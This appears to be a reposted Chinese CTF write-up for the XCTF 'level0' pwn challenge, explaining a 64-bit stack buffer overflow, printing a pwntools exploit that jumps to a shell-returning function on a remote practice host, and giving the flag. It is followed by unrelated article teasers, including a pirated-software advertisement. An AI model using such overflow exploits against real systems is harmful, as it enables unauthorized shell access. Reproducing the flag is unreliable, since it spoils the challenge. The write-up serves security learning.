XCTF:level0[WriteUP]

PWN入门题目:XCTF攻防世界的level0

使用file、checksec命令查看文件详细信息

这是一个64bit的ELF文件(后面编写EXP需要用到)

从checksec中展示的信息看,该二进制文件只开启了NX(数据执行保护)

这样的话就约等于没设防了(新手题难度)


使用IDA对该文件进行反编译

在主函数发现了一个vulnerable_function函数

双击该函数进行审计

buf数组分配了0x80个字节量,而总读取的是0x200个字节,所以考虑栈溢出

按F5查看该函数伪代码

从伪代码模式看可读性更高,read函数将读取0x200个字节

双击buf数组,查看其栈空间

 

我们创造的数据需要覆盖:buf数组+返回地址+寄存器

也就是说构造数据字节数应该等于buf+r+s=80+0+8=0x88字节


审计该文件的其他函数

发现函数callsystem(名字很可疑)

双击打开后对该函数进行反编译发现

这个函数的作用就只是返回一个shell,那么我们栈溢出的目标就很明确了

 

查看该函数的地址:


编写EXP进行漏洞利用

from pwn import *shell = remote('61.147.171.105','64456') #建立连接payload = b'a'*0x88 #构造无用数据使栈溢出payload += p64(0x400596) #64bit文件使用p64并带上callsystem的地址shell.send(payload) #发送payloadshell.interactive() #与反弹shell交互

 拖到linux终端中运行,获取flag


cyberpeace{ee84d30badc9105389d6fb50e6468e9d} 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/2868611.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【UE5】持枪状态站立移动的动画混合空间

项目资源文末百度网盘自取 创建角色在持枪状态站立移动的动画混合空间 在BlendSpace文件夹中单击右键选择动画(Animation)中的混合空间(Blend Space) 选择SK_Female_Skeleton 命名为BS_RifleStand 打开 水平轴表示角色的方向,命名为Direction,方…

想兼职赚钱?盘点6个靠谱兼职,赚钱更轻松!

1,微头条搬砖 微头条搬砖是一个门槛不高的赚钱方式,而且不需要你有多么好的原创能力,去收集一些热门文章的素材进行文章伪原创,十分钟就能搞定,只要你的文章有爆点,足够吸人眼球,就能够获取不低…

打造Python飞机大战游戏 - 从环境搭建到代码实现

一、环境搭建 要开发Python游戏,我们需要安装一些必要的库和工具。其中最常用的是pygame库,它提供了丰富的游戏开发功能。 目录 一、环境搭建 首先,确保你的计算机上已经安装了Python。然后,通过pip安装pygame库: 二…

蓝桥杯练习系统(算法训练)ALGO-969 N车

资源限制 内存限制:256.0MB C/C时间限制:1.0s Java时间限制:3.0s Python时间限制:5.0s 问题描述 给定NN的棋盘,问有多少种放置N个车使他们不互相攻击的方案。 输入格式 一行一个整数,N。 输出格式…

图像处理ASIC设计方法 笔记11 像素误差与字长优化

P108 P105 定点误差分析与字长优化 1 像素误差是什么原因导致的? 在本书所说的算法中,像素误差是由几次定点运算累加导致的: 首先由行(列)号与定点正弦/正切值计算出该行(列)的小数平移量,然后将这些小数平移量截取一定字长用来计算插值核,再将这些插值核也截取一…

修改NLog配置文件参数的方法

目录 一、背景 二、NLog配置文件 三、C#代码 四、验证结果 ​ 五、总结 一、背景 最近项目中要用到NLog记录日志,有一个要求是可以灵活地修改日志文件的存放位置,琢磨了一小会,发现可以使用XML文件的形式修改文件的参数,现将…

向量相似性度量的常用方法

向量相似性度量的常用方法 0. 引言1. 欧氏距离(Euclidean distance)2. 余弦相似度(Cosine similarity)3. 汉明距离(Hamming distance)4. 点积相似度 (Dot Product Similarity)5. 曼哈顿距离 (Manhattan Distance) 0. 引言 今天花时间学习学习向量相似性度量的常用方法&#xf…

Linux 安装Nginx (Nginx-1.25.4)

一、下载Nginx安装包 1.服务器联网的情况下,使用wget命令把Nginx安装包下载到/usr/local/目录中,如果没有wget命令,需要先安装:yum install -y wget cd /usr/local wget -c https://nginx.org/download/nginx-1.25.4.tar.gz ng…

CrossOver 24 Mac 中文破解版 CrossOver 2024激活码 crossover虚拟机 mac上运行windows 软件

CrossOver在Mac上本机运行。这意味着您不必运行Windows的副本。这意味着您不会为同时运行的两个操作系统支付RAM和CPU代价。这意味着没有陷入困境,波涛汹涌的表现。如果您需要原生速度,该软件是更好的选择。 安装后,像安装任何Mac应用程序一…

2024.3.17 机器学习周报

引言 Abstract 文献阅读 1、题目 R-TRANSFORMER: RECURRENT NEURAL NETWORK ENHANCED TRANSFORMER 2、引言 递归神经网络长期以来一直是序列建模的主要选择。然而,它严重遭受两个问题:在捕获非常长期的依赖性和无法并行化的顺序计算过程中无能为力…

2024 Python3.10 系统入门+进阶(一):Python编程基础

目录 一、编程语言是什么二、编译型语言和解释型语言的区别2.1 编译型语言2.2 解释型语言 三、Python是什么四、Python有哪些优点和缺点?4.1 Python的优点4.2 Python 的缺点 五、学Python能干什么,Python的应用领域有哪些?六、怎样学习Python…

HSCCTF-2024-Crypto 复现

文章目录 EZ_MATHSTAR_CHASING_DIARYRSATESTYOUQU 复现参考来源: lazzzaro佬写的题解 EZ_MATH 题目描述: from Crypto.Util.number import *flag HSCCTF{*****************************************} x bytes_to_long(flag.encode()) y getPrime(2…

监视和内存观察

监视和内存观察 5.监视和内存观察5.1 监视5.2 内存 5.监视和内存观察 在调试的过程中我们,如果要观察代码执行过程中,上下文环境中的变量的值,有哪些方法呢? 这些观察的前提条件一定是开始调试后观察,比如&#xff1…

腾讯云2核4G服务器可以有多大访问量?吓人!

腾讯云轻量2核4G5M带宽服务器支持多少人在线访问?5M带宽下载速度峰值可达640KB/秒,阿腾云以搭建网站为例,假设优化后平均大小为60KB,则5M带宽可支撑10个用户同时在1秒内打开网站,并发数为10,经阿腾云测试&a…

使用pgadmin备份数据库

本人菜鸟, 在使用PostgreSQL数据库的时候, 经常会用到这个pgadmin的可视化工具 这个工具提供了很简单的备份和还原方法, 操作如下 备份 (1)首先鼠标右键选中你要备份的数据库,如图的 LBSYS (2)然后点击 backup (…

“智慧农业新篇章:AI大模型引领生态与气象科研的未来“

AI大模型引领未来智慧科研暨ChatGPT在地学、GIS、气象、农业、生态、环境等领域中的应用 以ChatGPT、LLaMA、Gemini、DALLE、Midjourney、Stable Diffusion、星火大模型、文心一言、千问为代表AI大语言模型带来了新一波人工智能浪潮,可以面向科研选题、思维导图、数…

数学建模--MATLAB基本使用

1.线性方程组 这个是一个线性方程组(属于线性代数的范畴),Axb类型的方程,如果使用MATLAB进行求解,就需要分别表示A矩阵(线性方程组未知数前面的系数),b矩阵(表示等式右边…

体系班第十七节(经典递归)

1汉诺塔 从左移到最右,圆盘必须满足小压大原则 写一个大方法,大方法包括两步:第一步将最后一个圆盘上面的所有的放到第二个塔上面,然后将最后一个圆盘放到最后塔上面,再把第二个塔上面圆盘全放在第三个塔上面 #incl…

IO流(5)——转换流

不同编码读取出现乱码的问题 解决方法 字符输入转换流(InputStreamReader)

泰克Tektronix TDP1000高压差分探头

181/2461/8938产品概述&#xff1a; TDP1000、TDP0500和P6251高压差分探头提供当今开关电源&#xff08;SMPS&#xff09;、CAN/LIN总线和高速数字系统设计所需的出色高速电气和机械性能。 关键性能规格 1 GHz和500 MHz探头带宽<1 pF differential input capacitance1mω…